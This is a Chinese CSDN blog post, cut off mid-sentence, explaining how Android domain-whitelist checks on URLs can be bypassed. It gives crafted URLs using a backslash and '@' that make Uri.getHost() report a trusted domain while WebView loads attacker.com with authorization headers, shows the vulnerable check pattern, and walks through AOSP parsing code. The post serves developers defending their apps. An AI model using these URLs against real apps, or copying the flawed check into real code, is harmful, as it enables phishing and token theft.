绕过Android域名白名单校验的方法

本文探讨了Android组件中域名白名单校验的常见安全风险,通过实例展示了如何通过URL构造和反射调用来绕过校验,影响包括Android 6及以下系统的设备。建议开发者对传入的Uri对象进行`parse()`处理后再进行安全性检查。
摘要由CSDN通过智能技术生成

引言
很多 Android 组件都有响应外部链接的能力,如果攻击者能随意的指定这些组件所响应的 url,轻则可以引导被攻击的 APP 弹出钓鱼页面,重则可能远程执行恶意 js 代码。因此 APP 开发者必然要对传入的 url 进行校验,而设置域名白名单就是一种简单常见且具有较高安全性的防御方法。

然而由于一些开发者并不完全通晓调用方法的底层特性,使得看起来万无一失的白名单校验形同虚设。本文列举几种常见的 Android 域名白名单校验写法,并深入源码指出其中存在的风险和绕过方法。

一、 Url加入反斜杠”\”
1.1. 方法描述
先来看一种典型的域名校验写法:

/* Uri 结构

  • [scheme:][//authority][path][?query][#fragment]
    */
    [check_v1]
    Uri uri = Uri.parse(attackerControlledString);
    if (“legitimate.com”.equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
    // or webView.loadUrl(uri.toString())
    }
    然而…

String url = “http://attacker.com\.legitimate.com/smth”;
Log.d(“getHost:”, Uri.parse(url).getHost()); // 输出 attacker.com.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
webView.loadUrl(url, getAuthorizationHeaders()); // 成功加载 attacker.com
}
可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是legitimate.com但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。

String url = “http://attacker.com\@legitimate.com/smth”;
Log.d(“Wow”, Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com
1.2. 分析原因
看来android.net.Uri的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题…

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}
继续看这个内部类StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {

private StringUri(String uriString) {
this.uriString = uriString;
}

private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}

static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If “//” follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == ‘/’
&& uriString.charAt(ssi + 2) == ‘/’) {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case ‘/’: // Start of path
case ‘?’: // Start of query
case ‘#’: // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri瞧瞧:

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf(’@’);
return end == NOT_FOUND ? null : authority.substring(0, end);
}

private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf(’@’);
int portSeparator = authority.indexOf(’:’, userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}
就在

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值